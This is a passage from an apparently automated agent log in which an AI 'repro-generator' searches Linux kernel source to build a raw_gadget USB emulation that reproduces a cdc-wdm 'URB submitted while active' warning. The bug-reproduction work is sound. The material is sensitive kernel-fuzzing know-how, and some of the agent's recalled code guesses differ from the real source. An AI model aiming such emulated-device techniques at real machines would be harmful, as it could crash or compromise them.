I then dug into the kernel definition of `USB_RAW_IOCTL_EVENT_FETCH`. I found it's defined as `_IOR('U', 2, 8)`. The crucial part here is the `8`, which signifies the expected size of the associated data structure. However, in my user-space code, I had defined `USB_RAW_IOCTL_EVENT_FETCH` with a size of `72`. This mismatch, where my defined size (72) doesn't align with the kernel's expected size (8), means that the `cmd` value generated by my user-space definition will *never* match the `cmd` value generated by the kernel's definition. Consequently, the `switch` statement falls through to the `default` case, where `ret` is correctly set to `-EINVAL`, explaining the error I was encountering.
To rectify this, I need to ensure the size of the data structure used in my user-space definition accurately reflects the kernel's expectation. I've now examined `struct usb_raw_event` in the kernel, and I see it's defined as:
```c
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[];
};
```
This structure, when calculated by the compiler, has a size of 8 bytes (for `type` and `length`). My current user-space definition is likely using a fixed-size array for `data` that leads to the larger size. To align with the kernel's definition and avoid the size encoding issue, I should define it in user-space using a zero-length array:
```c
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
```
This approach ensures that `sizeof(struct usb_raw_event)` in my user-space code will also evaluate to 8, matching the kernel's expectation. With this corrected size, the `cmd` value will align, and the `switch` statement will execute the intended case.
Furthermore, I've realized this same size-related issue likely applies to other related ioctl structures, specifically `struct usb_raw_ep_io`. I will need to apply the same scrutiny and correction to its definition as well.
|
| 378/4 |
2026/09/11 23:31 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:usb_raw_ep_io]
Results: map[SourceCode: 89: /*
90: * struct usb_raw_ep_io - argument for USB_RAW_IOCTL_EP0/EP_WRITE/READ ioctls.
91: * @ep: Endpoint handle as returned by USB_RAW_IOCTL_EP_ENABLE for
92: * USB_RAW_IOCTL_EP_WRITE/READ. Ignored for USB_RAW_IOCTL_EP0_WRITE/READ.
93: * @flags: When USB_RAW_IO_FLAGS_ZERO is specified, the zero flag is set on
94: * the submitted USB request, see include/linux/usb/gadget.h for details.
95: * @length: Length of data.
96: * @data: Data to send for USB_RAW_IOCTL_EP0/EP_WRITE. Buffer to store received
97: * data for USB_RAW_IOCTL_EP0/EP_READ.
98: */
99: struct usb_raw_ep_io {
100: __u16 ep;
101: __u16 flags;
102: __u32 length;
103: __u8 data[];
104: };
SourceFile:include/uapi/linux/usb/raw_gadget.h]
|
| 379/4 |
2026/09/11 23:31 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 22006
output: 29
thoughts: 474
Thoughts: **Unraveling `usb_raw` IOCTL Size Discrepancies**
Ah, I've just realized a crucial detail about `struct usb_raw_ep_io`! It *does* contain `data[]`, which I initially overlooked. My code defines it with `__u8 data[256]`, making its total size a substantial 264 bytes. This immediately explains why `USB_RAW_IOCTL_EP0_WRITE` and similar IOCTLs would fail with `-EINVAL` – the expected size must not be matching the actual size being passed.
This leads me to question my previous reproducer. Why didn't it fail on `USB_RAW_IOCTL_INIT`? That's because `struct usb_raw_init` doesn't employ a flexible array member, so its size is static and predictable. And `USB_RAW_IOCTL_RUN`, being defined as `_IO('U', 1)` without a size argument, wouldn't have triggered this particular error either. It seems `USB_RAW_IOCTL_EVENT_FETCH` was indeed the first one to hit this size validation issue.
Now, I have a clear path forward to fix these definitions. I'll redefine `struct usb_raw_event` and `struct usb_raw_ep_io` to use a zero-length array for their `data` members:
```c
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0]; // Flexible array member
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0]; // Flexible array member
};
```
The key to making this work in practice is to allocate a larger struct that *encompasses* these flexible array members. For instance, when I need to pass data, I can use a structure like `struct usb_raw_event_ext`:
```c
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64]; // Actual buffer for data
};
```
Now, let's consider the `ioctl` definition: `USB_RAW_IOCTL_EVENT_FETCH` is defined as `_IOR('U', 2, struct usb_raw_event)`. This translates to `_IOR('U', 2, 8)` because `sizeof(struct usb_raw_event)` will correctly evaluate to 8 (the size of `type` and `length`). When I pass a pointer to my `struct usb_raw_event_ext` to the `ioctl` call, the kernel will only check the size of `struct usb_raw_event` (which is 8), allowing the data transfer to proceed safely into the larger `data` buffer within `struct usb_raw_event_ext`. This approach should resolve the `-EINVAL` errors gracefully.
My next step is to thoroughly verify the definitions and usage of `struct usb_raw_init` to ensure it also aligns with this corrected understanding.
|
| 380/4 |
2026/09/11 23:31 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:usb_raw_init]
Results: map[SourceCode: 18: /*
19: * struct usb_raw_init - argument for USB_RAW_IOCTL_INIT ioctl.
20: * @speed: The speed of the emulated USB device, takes the same values as
21: * the usb_device_speed enum: USB_SPEED_FULL, USB_SPEED_HIGH, etc.
22: * @driver_name: The name of the UDC driver.
23: * @device_name: The name of a UDC instance.
24: *
25: * The last two fields identify a UDC the gadget driver should bind to.
26: * For example, Dummy UDC has "dummy_udc" as its driver_name and "dummy_udc.N"
27: * as its device_name, where N in the index of the Dummy UDC instance.
28: * At the same time the dwc2 driver that is used on Raspberry Pi Zero, has
29: * "20980000.usb" as both driver_name and device_name.
30: */
31: struct usb_raw_init {
32: __u8 driver_name[UDC_NAME_LENGTH_MAX];
33: __u8 device_name[UDC_NAME_LENGTH_MAX];
34: __u8 speed;
35: };
SourceFile:include/uapi/linux/usb/raw_gadget.h]
|
| 381/4 |
2026/09/11 23:31 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 22882
output: 29
thoughts: 25
Thoughts: **My Thought Process**
Okay, so I've just confirmed that the `usb_raw_init` function operates with a fixed size. That's an important baseline to establish. My next step is to dive into the details of the `usb_endpoint_descriptor`. I need to meticulously examine its structure and how it's defined to ensure I fully grasp its parameters and intended usage within the USB protocol. This is crucial for understanding how data is managed and transferred at the endpoint level.
|
| 382/4 |
2026/09/11 23:32 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:usb_endpoint_descriptor]
Results: map[SourceCode: 418: /* USB_DT_ENDPOINT: Endpoint descriptor */
419: struct usb_endpoint_descriptor {
420: __u8 bLength;
421: __u8 bDescriptorType;
422:
423: __u8 bEndpointAddress;
424: __u8 bmAttributes;
425: __le16 wMaxPacketSize;
426: __u8 bInterval;
427:
428: /* NOTE: these two are _only_ in audio endpoints. */
429: /* use USB_DT_ENDPOINT*_SIZE in bLength, not sizeof. */
430: __u8 bRefresh;
431: __u8 bSynchAddress;
432: } __attribute__ ((packed));
SourceFile:include/uapi/linux/usb/ch9.h]
|
| 383/4 |
2026/09/11 23:32 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 23175
output: 28
thoughts: 392
Thoughts: **My Thought Process Regarding USB Raw Device Structures and Allocation**
Alright, so the core of what I'm wrestling with right now is the fixed-size nature of some of these USB structures and how I'm handling their allocation. My immediate thought was to lock down the definitions in my C code, specifically for `struct usb_raw_event` and `struct usb_raw_ep_io`. I've been looking at these, making sure the `data[0]` member is correctly accounted for in terms of size. I explicitly confirmed that `sizeof(struct usb_raw_event)` comes out to 8 bytes, which is exactly what I expected given the `__u32 type`, `__u32 length`, and the zero-length `data` array. This is crucial for predictable memory management.
Following on from that, I've defined extended structures, `usb_raw_event_ext` and `usb_raw_ep_io_ext`, which encapsulate these core structures and provide additional contiguous buffer space for the data. The idea here is to have a single, larger allocation that covers both the metadata (type, length, endpoint, flags) and the actual data payload. For example, `usb_raw_event_ext` has the 8-byte `usb_raw_event` structure followed by a 64-byte `data` array, making the total size 72 bytes. This is directly relevant to how `raw_ioctl_event_fetch` operates, as it copies `sizeof(*event) + length` bytes. So, if the `length` is 64, the total copy will be 72 bytes, meaning `struct usb_raw_event_ext` is perfectly sized for that scenario.
My next step is to verify the correctness of these descriptors within the context of a real driver. I'm specifically going to look at the `cdc-wdm` driver. The bug description I'm working with points to `service_outstanding_interrupt` within `drivers/usb/class/cdc-wdm.c`. To understand what descriptors it expects and how it's using them, I need to examine the `wdm_probe` function in that driver. This will give me the concrete usage patterns and confirm if my structural assumptions align with established kernel code.
|
| 384/4 |
2026/09/11 23:32 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:wdm_probe]
Results: map[SourceCode:1150: static int wdm_probe(struct usb_interface *intf, const struct usb_device_id *id)
1151: {
1152: int rv = -EINVAL;
1153: struct usb_host_interface *iface;
1154: struct usb_endpoint_descriptor *ep;
1155: struct usb_cdc_parsed_header hdr;
1156: u8 *buffer = intf->altsetting->extra;
1157: int buflen = intf->altsetting->extralen;
1158: u16 maxcom = WDM_DEFAULT_BUFSIZE;
1159:
1160: if (!buffer)
1161: goto err;
1162:
1163: cdc_parse_cdc_header(&hdr, intf, buffer, buflen);
1164:
1165: if (hdr.usb_cdc_dmm_desc)
1166: maxcom = le16_to_cpu(hdr.usb_cdc_dmm_desc->wMaxCommand);
1167:
1168: iface = intf->cur_altsetting;
1169: if (iface->desc.bNumEndpoints != 1)
1170: goto err;
1171: ep = &iface->endpoint[0].desc;
1172:
1173: rv = wdm_create(intf, ep, maxcom, WWAN_PORT_UNKNOWN, &wdm_manage_power);
1174:
1175: err:
1176: return rv;
1177: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 385/4 |
2026/09/11 23:32 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 24051
output: 31
thoughts: 265
Thoughts: **My Thought Process Unpacking CDC Descriptor Handling**
Okay, so I'm looking at this `wdm_probe` function, and the first thing that catches my eye is this check: `iface->desc.bNumEndpoints != 1`. This implies we're expecting a single endpoint for this particular interface. Then, it calls `cdc_parse_cdc_header`. This is a key indicator that the code relies on understanding the CDC (Communications Device Class) specific header.
My immediate thought is, "Where does this CDC header information come from?" I then notice it's accessing `buffer = intf->altsetting->extra`. This is a critical piece of information. It tells me that the CDC header descriptors are *not* standalone, but rather they must be embedded within the `extra` field of the interface's alternate setting.
This makes me recall my own past implementations, specifically how I structured descriptor definitions. I had a structure like this:
```c
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
```
Now, when I think about the order of these descriptors within `conf_desc`, it becomes clear:
1. The main `usb_config_descriptor` comes first.
2. Then, the `usb_interface_descriptor`.
3. Following that, the `usb_cdc_header_desc`.
4. And finally, the `usb_endpoint_descriptor`.
The core realization here is how the USB kernel driver stack parses these descriptors. When it processes the configuration descriptor, it attaches any subsequent descriptors that *follow* the `usb_interface_descriptor` to the `intf->altsetting->extra` field. This attachment continues until it encounters another `usb_interface_descriptor` or an endpoint descriptor that doesn't belong to the current interface.
Therefore, in my defined `conf_desc`, the `cdc_hdr` will indeed be placed into `intf->altsetting->extra` because it immediately follows the `intf` descriptor in the packed structure. This confirms my hypothesis.
With this understanding solidified, my next step is to delve into the `cdc_parse_cdc_header` function itself to see precisely how it's intended to extract and utilize the CDC header information from that `extra` buffer.
|
| 386/4 |
2026/09/11 23:32 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:cdc_parse_cdc_header]
Results: map[SourceCode:2382: int cdc_parse_cdc_header(struct usb_cdc_parsed_header *hdr,
2383: struct usb_interface *intf,
2384: u8 *buffer,
2385: int buflen)
2386: {
2387: /* duplicates are ignored */
2388: struct usb_cdc_union_desc *union_header = NULL;
2389:
2390: /* duplicates are not tolerated */
2391: struct usb_cdc_header_desc *header = NULL;
2392: struct usb_cdc_ether_desc *ether = NULL;
2393: struct usb_cdc_mdlm_detail_desc *detail = NULL;
2394: struct usb_cdc_mdlm_desc *desc = NULL;
2395:
2396: unsigned int elength;
2397: int cnt = 0;
2398:
2399: memset(hdr, 0x00, sizeof(struct usb_cdc_parsed_header));
2400: hdr->phonet_magic_present = false;
2401: while (buflen > 0) {
2402: elength = buffer[0];
2403: if (!elength) {
2404: dev_err(&intf->dev, "skipping garbage byte\n");
2405: elength = 1;
2406: goto next_desc;
2407: }
2408: if ((buflen < elength) || (elength < 3)) {
2409: dev_err(&intf->dev, "invalid descriptor buffer length\n");
2410: break;
2411: }
2412: if (buffer[1] != USB_DT_CS_INTERFACE) {
2413: dev_err(&intf->dev, "skipping garbage\n");
2414: goto next_desc;
2415: }
2416:
2417: switch (buffer[2]) {
2418: case USB_CDC_UNION_TYPE: /* we've found it */
2419: if (elength < sizeof(struct usb_cdc_union_desc))
2420: goto next_desc;
2421: if (union_header) {
2422: dev_err(&intf->dev, "More than one union descriptor, skipping ...\n");
2423: goto next_desc;
2424: }
2425: union_header = (struct usb_cdc_union_desc *)buffer;
2426: break;
2427: case USB_CDC_COUNTRY_TYPE:
2428: if (elength < sizeof(struct usb_cdc_country_functional_desc))
2429: goto next_desc;
2430: hdr->usb_cdc_country_functional_desc =
2431: (struct usb_cdc_country_functional_desc *)buffer;
2432: break;
2433: case USB_CDC_HEADER_TYPE:
2434: if (elength != sizeof(struct usb_cdc_header_desc))
2435: goto next_desc;
2436: if (header)
2437: return -EINVAL;
2438: header = (struct usb_cdc_header_desc *)buffer;
2439: break;
2440: case USB_CDC_ACM_TYPE:
2441: if (elength < sizeof(struct usb_cdc_acm_descriptor))
2442: goto next_desc;
2443: hdr->usb_cdc_acm_descriptor =
2444: (struct usb_cdc_acm_descriptor *)buffer;
2445: break;
2446: case USB_CDC_ETHERNET_TYPE:
2447: if (elength != sizeof(struct usb_cdc_ether_desc))
2448: goto next_desc;
2449: if (ether)
2450: return -EINVAL;
2451: ether = (struct usb_cdc_ether_desc *)buffer;
2452: break;
2453: case USB_CDC_CALL_MANAGEMENT_TYPE:
2454: if (elength < sizeof(struct usb_cdc_call_mgmt_descriptor))
2455: goto next_desc;
2456: hdr->usb_cdc_call_mgmt_descriptor =
2457: (struct usb_cdc_call_mgmt_descriptor *)buffer;
2458: break;
2459: case USB_CDC_DMM_TYPE:
2460: if (elength < sizeof(struct usb_cdc_dmm_desc))
2461: goto next_desc;
2462: hdr->usb_cdc_dmm_desc =
2463: (struct usb_cdc_dmm_desc *)buffer;
2464: break;
2465: case USB_CDC_MDLM_TYPE:
2466: if (elength < sizeof(struct usb_cdc_mdlm_desc))
2467: goto next_desc;
2468: if (desc)
2469: return -EINVAL;
2470: desc = (struct usb_cdc_mdlm_desc *)buffer;
2471: break;
2472: case USB_CDC_MDLM_DETAIL_TYPE:
2473: if (elength < sizeof(struct usb_cdc_mdlm_detail_desc))
2474: goto next_desc;
2475: if (detail)
2476: return -EINVAL;
2477: detail = (struct usb_cdc_mdlm_detail_desc *)buffer;
2478: break;
2479: case USB_CDC_NCM_TYPE:
2480: if (elength < sizeof(struct usb_cdc_ncm_desc))
2481: goto next_desc;
2482: hdr->usb_cdc_ncm_desc = (struct usb_cdc_ncm_desc *)buffer;
2483: break;
2484: case USB_CDC_MBIM_TYPE:
2485: if (elength < sizeof(struct usb_cdc_mbim_desc))
2486: goto next_desc;
2487:
2488: hdr->usb_cdc_mbim_desc = (struct usb_cdc_mbim_desc *)buffer;
2489: break;
2490: case USB_CDC_MBIM_EXTENDED_TYPE:
2491: if (elength < sizeof(struct usb_cdc_mbim_extended_desc))
2492: goto next_desc;
2493: hdr->usb_cdc_mbim_extended_desc =
2494: (struct usb_cdc_mbim_extended_desc *)buffer;
2495: break;
2496: case CDC_PHONET_MAGIC_NUMBER:
2497: hdr->phonet_magic_present = true;
2498: break;
2499: default:
2500: /*
2501: * there are LOTS more CDC descriptors that
2502: * could legitimately be found here.
2503: */
2504: dev_dbg(&intf->dev, "Ignoring descriptor: type %02x, length %ud\n",
2505: buffer[2], elength);
2506: goto next_desc;
2507: }
2508: cnt++;
2509: next_desc:
2510: buflen -= elength;
2511: buffer += elength;
2512: }
2513: hdr->usb_cdc_union_desc = union_header;
2514: hdr->usb_cdc_header_desc = header;
2515: hdr->usb_cdc_mdlm_detail_desc = detail;
2516: hdr->usb_cdc_mdlm_desc = desc;
2517: hdr->usb_cdc_ether_desc = ether;
2518: return cnt;
2519: }
SourceFile:drivers/usb/core/message.c]
|
| 387/4 |
2026/09/11 23:32 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 26539
output: 28
thoughts: 149
Thoughts: **My Thought Process Regarding `wdm_probe` and Device Matching in `cdc-wdm`**
Okay, a realization just struck me. I was reviewing the `wdm_probe` function and it hit me that, contrary to my initial assumptions, this function *doesn't* strictly mandate the presence of specific CDC headers to proceed. My understanding was that it *needed* them, but that's not quite right.
Here's what I've pieced together: `wdm_probe` *parses* these headers. The crucial point is that it only *uses* the `wMaxCommand` from the `hdr.usb_cdc_dmm_desc` if that descriptor is actually found. If it's *not* present, then it falls back to a default buffer size, `WDM_DEFAULT_BUFSIZE`, which is set to 256. So, the headers are parsed, but their presence isn't a hard prerequisite for continuing the probing process.
Following that, there's a check: `iface->desc.bNumEndpoints != 1`. This is interesting. It seems to expect a single endpoint for a WDM device. If that condition holds true, it then proceeds to get the descriptor for that endpoint: `ep = &iface->endpoint[0].desc`.
The final step in this sequence is a call to `wdm_create`. This function likely handles the actual creation and initialization of the WDM device structure, using the information gathered, including the determined buffer size.
Now, this leads me to a related, and equally important, question that's been nagging at me: how does the `cdc-wdm` module actually *match* a device to this driver in the first place? Given that `wdm_probe` itself seems to have a degree of flexibility regarding the headers, what is the primary mechanism for inclusion?
To answer this, I'm going to need to delve into the `wdm_ids` array, which I recall is defined within `drivers/usb/class/cdc-wdm.c`. This is where the VID/PID combinations or other USB descriptors that the `cdc-wdm` driver claims to handle will be specified. That's the key to understanding the device matching strategy.
|
| 388/4 |
2026/09/11 23:33 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:wdm_ids]
Results: map[SourceCode: 35: static const struct usb_device_id wdm_ids[] = {
36: {
37: .match_flags = USB_DEVICE_ID_MATCH_INT_CLASS |
38: USB_DEVICE_ID_MATCH_INT_SUBCLASS,
39: .bInterfaceClass = USB_CLASS_COMM,
40: .bInterfaceSubClass = USB_CDC_SUBCLASS_DMM
41: },
42: { }
43: };
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 389/4 |
2026/09/11 23:33 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 26861
output: 28
thoughts: 186
Thoughts: **My Thought Process Regarding USB CDC DMM Interface Configuration**
My initial reaction upon seeing the values `USB_CLASS_COMM` being 2 and `USB_CDC_SUBCLASS_DMM` being 9 was a strong sense of affirmation. I immediately cross-referenced these values with the relevant section of my code, specifically the `.intf` structure which defines the USB interface descriptor.
```c
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
```
As I meticulously reviewed the `.bInterfaceClass` and `.bInterfaceSubClass` fields within my structure, my confidence grew. I saw that `.bInterfaceClass` was indeed set to 2, directly corresponding to the `USB_CLASS_COMM` definition. Equally reassuring, `.bInterfaceSubClass` was set to 9, precisely matching `USB_CDC_SUBCLASS_DMM`. This direct alignment between the known standard values and my implementation felt like a critical check that had passed successfully.
However, my focus quickly shifted to a subsequent consideration. I recalled a crucial detail within the `wdm_create` function. My understanding is that this function is designed to specifically validate whether the endpoint associated with this interface is an *interrupt IN endpoint*. This means that simply having the correct class and subclass is not the sole criterion for a successful interface setup. I need to ensure that the endpoint configuration also aligns with the expectations of `wdm_create`, particularly concerning its interrupt IN nature. This realization adds a layer of critical dependency to my initial confirmation.
|
| 390/4 |
2026/09/11 23:33 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:wdm_create]
Results: map[SourceCode:1025: static int wdm_create(struct usb_interface *intf, struct usb_endpoint_descriptor *ep,
1026: u16 bufsize, enum wwan_port_type type,
1027: int (*manage_power)(struct usb_interface *, int))
1028: {
1029: int rv = -ENOMEM;
1030: struct wdm_device *desc;
1031:
1032: desc = kzalloc_obj(struct wdm_device);
1033: if (!desc)
1034: goto out;
1035: INIT_LIST_HEAD(&desc->device_list);
1036: mutex_init(&desc->rlock);
1037: mutex_init(&desc->wlock);
1038: spin_lock_init(&desc->iuspin);
1039: init_waitqueue_head(&desc->wait);
1040: desc->wMaxCommand = bufsize;
1041: /* this will be expanded and needed in hardware endianness */
1042: desc->inum = cpu_to_le16((u16)intf->cur_altsetting->desc.bInterfaceNumber);
1043: desc->intf = intf;
1044: desc->wwanp_type = type;
1045: INIT_WORK(&desc->rxwork, wdm_rxwork);
1046: INIT_WORK(&desc->service_outs_intr, service_interrupt_work);
1047:
1048: if (!usb_endpoint_is_int_in(ep)) {
1049: rv = -EINVAL;
1050: goto err;
1051: }
1052:
1053: desc->wMaxPacketSize = usb_endpoint_maxp(ep);
1054:
1055: desc->orq = kmalloc_obj(struct usb_ctrlrequest);
1056: if (!desc->orq)
1057: goto err;
1058: desc->irq = kmalloc_obj(struct usb_ctrlrequest);
1059: if (!desc->irq)
1060: goto err;
1061:
1062: desc->validity = usb_alloc_urb(0, GFP_KERNEL);
1063: if (!desc->validity)
1064: goto err;
1065:
1066: desc->response = usb_alloc_urb(0, GFP_KERNEL);
1067: if (!desc->response)
1068: goto err;
1069:
1070: desc->command = usb_alloc_urb(0, GFP_KERNEL);
1071: if (!desc->command)
1072: goto err;
1073:
1074: desc->ubuf = kmalloc(desc->wMaxCommand, GFP_KERNEL);
1075: if (!desc->ubuf)
1076: goto err;
1077:
1078: desc->sbuf = kmalloc(desc->wMaxPacketSize, GFP_KERNEL);
1079: if (!desc->sbuf)
1080: goto err;
1081:
1082: desc->inbuf = kmalloc(desc->wMaxCommand, GFP_KERNEL);
1083: if (!desc->inbuf)
1084: goto err;
1085:
1086: usb_fill_int_urb(
1087: desc->validity,
1088: interface_to_usbdev(intf),
1089: usb_rcvintpipe(interface_to_usbdev(intf), ep->bEndpointAddress),
1090: desc->sbuf,
1091: desc->wMaxPacketSize,
1092: wdm_int_callback,
1093: desc,
1094: ep->bInterval
1095: );
1096:
1097: desc->irq->bRequestType = (USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE);
1098: desc->irq->bRequest = USB_CDC_GET_ENCAPSULATED_RESPONSE;
1099: desc->irq->wValue = 0;
1100: desc->irq->wIndex = desc->inum; /* already converted */
1101: desc->irq->wLength = cpu_to_le16(desc->wMaxCommand);
1102:
1103: usb_fill_control_urb(
1104: desc->response,
1105: interface_to_usbdev(intf),
1106: /* using common endpoint 0 */
1107: usb_rcvctrlpipe(interface_to_usbdev(desc->intf), 0),
1108: (unsigned char *)desc->irq,
1109: desc->inbuf,
1110: desc->wMaxCommand,
1111: wdm_in_callback,
1112: desc
1113: );
1114:
1115: desc->manage_power = manage_power;
1116:
1117: spin_lock(&wdm_device_list_lock);
1118: list_add(&desc->device_list, &wdm_device_list);
1119: spin_unlock(&wdm_device_list_lock);
1120:
1121: rv = usb_register_dev(intf, &wdm_class);
1122: if (rv < 0)
1123: goto err;
1124: else
1125: dev_info(&intf->dev, "%s: USB WDM device\n", dev_name(intf->usb_dev));
1126:
1127: wdm_wwan_init(desc);
1128:
1129: out:
1130: return rv;
1131: err:
1132: spin_lock(&wdm_device_list_lock);
1133: list_del(&desc->device_list);
1134: spin_unlock(&wdm_device_list_lock);
1135: cleanup(desc);
1136: return rv;
1137: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 391/4 |
2026/09/11 23:33 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 28805
output: 30
thoughts: 778
Thoughts: **My Thoughts on the `cdc-wdm` Driver Bug**
Alright, let's dive into this. The initial setup seems straightforward: `wdm_create` is supposed to configure `desc->validity` as an interrupt URB for the endpoint `ep->bEndpointAddress`. Looking at my code snippet, specifically the `.ep_in` structure, I've defined an interrupt IN endpoint (`USB_DT_ENDPOINT`, `USB_ENDPOINT_XFER_INT`, address `0x81`). This configuration should, in principle, allow `wdm_create` to succeed and `usb_register_dev` to create the expected `/dev/cdc-wdmX` device node.
Now, let's dissect the bug report itself, the `URB ffff888112540000 submitted while active` warning originating from `usb_submit_urb`. The call trace points to `service_outstanding_interrupt.isra.0` and then `wdm_read`. This is where things get interesting and, frankly, confusing at first glance.
My immediate question is: how does this situation arise? I need to trace the execution flow, particularly within `wdm_read`. In `wdm_read`, I see a conditional block:
```c
if (desc->rerr == 0 && test_bit(WDM_RESPONDING, &desc->flags)) {
clear_bit(WDM_RESPONDING, &desc->flags);
if (desc->resp_count)
desc->resp_count--;
if (desc->resp_count)
service_outstanding_interrupt(desc);
}
```
This `if` statement is key. If `desc->rerr` is zero (indicating no error) and the `WDM_RESPONDING` flag is set, the code proceeds to decrement `desc->resp_count`. Crucially, if `desc->resp_count` remains positive *after* the decrement, `service_outstanding_interrupt(desc)` is called.
And here's the direct link to the warning: `service_outstanding_interrupt` itself calls `usb_submit_urb(desc->validity, GFP_KERNEL)`. So, if `desc->validity` is *already* active when `service_outstanding_interrupt` is invoked, we get that "submitted while active" warning.
So, the core problem boils down to this: how can `desc->validity` become active *before* `service_outstanding_interrupt` attempts to submit it?
My understanding is that `desc->validity` is initially submitted in `wdm_open` via `usb_submit_urb(desc->validity, GFP_KERNEL)`. Then, it's re-submitted within `wdm_int_callback` using `usb_submit_urb(desc->validity, GFP_ATOMIC)`.
But wait, this is where my thoughts started to get tangled. `wdm_int_callback` is executed when the interrupt URB *completes*. My current understanding is that if `wdm_int_callback` handles a notification, it sets `WDM_RESPONDING`, increments `desc->resp_count`, and then submits `desc->response` (which is the control URB for responses). The critical point I need to re-verify is whether `wdm_int_callback` *immediately* resubmits `desc->validity` in this scenario.
Looking at the snippet I have in mind for `wdm_int_callback`:
```c
if (test_bit(WDM_IN_USE, &desc->flags)) {
rv = usb_submit_urb(desc->validity, GFP_ATOMIC);
```
This snippet suggests that `desc->validity` *is* resubmitted within `wdm_int_callback` if `WDM_IN_USE` is set. If `wdm_int_callback` is called, and `WDM_RESPONDING` is set and `desc->resp_count` is greater than zero, it then calls `service_outstanding_interrupt`. If `desc->validity` was *just* resubmitted by `wdm_int_callback` (or is still pending from a previous `wdm_open` call), then `service_outstanding_interrupt` attempting to submit it again would indeed lead to the error.
I need to carefully re-examine the exact logic within `wdm_int_callback` to see if there's a race condition where `desc->validity` is submitted by `wdm_int_callback` *and* then subsequently by `service_outstanding_interrupt` before the first submission has fully completed or been handled. The `GFP_ATOMIC` in `wdm_int_callback` is also a potential clue, as it implies a context where atomicity is more critical and might interact unexpectedly with other URB submissions. My current hypothesis is that `wdm_int_callback` is resubmitting `desc->validity` while the URB it just serviced is still considered active by the USB core, leading to the double-submission warning when `service_outstanding_interrupt` then tries to submit it again. I must trace the `desc->validity` URB's state across these function calls with extreme precision.
|
| 392/4 |
2026/09/11 23:33 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:wdm_int_callback]
Results: map[SourceCode: 251: static void wdm_int_callback(struct urb *urb)
252: {
253: unsigned long flags;
254: int rv = 0;
255: int responding;
256: int status = urb->status;
257: struct wdm_device *desc;
258: struct usb_cdc_notification *dr;
259:
260: desc = urb->context;
261: dr = (struct usb_cdc_notification *)desc->sbuf;
262:
263: if (status) {
264: switch (status) {
265: case -ESHUTDOWN:
266: case -ENOENT:
267: case -ECONNRESET:
268: return; /* unplug */
269: case -EPIPE:
270: set_bit(WDM_INT_STALL, &desc->flags);
271: dev_err(&desc->intf->dev, "Stall on int endpoint\n");
272: goto sw; /* halt is cleared in work */
273: default:
274: dev_err_ratelimited(&desc->intf->dev,
275: "nonzero urb status received: %d\n", status);
276: break;
277: }
278: }
279:
280: if (urb->actual_length < sizeof(struct usb_cdc_notification)) {
281: dev_err_ratelimited(&desc->intf->dev, "wdm_int_callback - %d bytes\n",
282: urb->actual_length);
283: goto exit;
284: }
285:
286: switch (dr->bNotificationType) {
287: case USB_CDC_NOTIFY_RESPONSE_AVAILABLE:
288: dev_dbg(&desc->intf->dev,
289: "NOTIFY_RESPONSE_AVAILABLE received: index %d len %d\n",
290: le16_to_cpu(dr->wIndex), le16_to_cpu(dr->wLength));
291: break;
292:
293: case USB_CDC_NOTIFY_NETWORK_CONNECTION:
294:
295: dev_dbg(&desc->intf->dev,
296: "NOTIFY_NETWORK_CONNECTION %s network\n",
297: dr->wValue ? "connected to" : "disconnected from");
298: goto exit;
299: case USB_CDC_NOTIFY_SPEED_CHANGE:
300: dev_dbg(&desc->intf->dev, "SPEED_CHANGE received (len %u)\n",
301: urb->actual_length);
302: goto exit;
303: default:
304: clear_bit(WDM_POLL_RUNNING, &desc->flags);
305: dev_err(&desc->intf->dev,
306: "unknown notification %d received: index %d len %d\n",
307: dr->bNotificationType,
308: le16_to_cpu(dr->wIndex),
309: le16_to_cpu(dr->wLength));
310: goto exit;
311: }
312:
313: spin_lock_irqsave(&desc->iuspin, flags);
314: responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
315: if (!desc->resp_count++ && !responding
316: && !test_bit(WDM_DISCONNECTING, &desc->flags)
317: && !test_bit(WDM_SUSPENDING, &desc->flags)) {
318: rv = usb_submit_urb(desc->response, GFP_ATOMIC);
319: dev_dbg(&desc->intf->dev, "submit response URB %d\n", rv);
320: }
321: spin_unlock_irqrestore(&desc->iuspin, flags);
322: if (rv < 0) {
323: clear_bit(WDM_RESPONDING, &desc->flags);
324: if (rv == -EPERM)
325: return;
326: if (rv == -ENOMEM) {
327: sw:
328: rv = schedule_work(&desc->rxwork);
329: if (rv)
330: dev_err(&desc->intf->dev,
331: "Cannot schedule work\n");
332: }
333: }
334: exit:
335: rv = usb_submit_urb(urb, GFP_ATOMIC);
336: if (rv)
337: dev_err(&desc->intf->dev,
338: "%s - usb_submit_urb failed with result %d\n",
339: __func__, rv);
340:
341: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
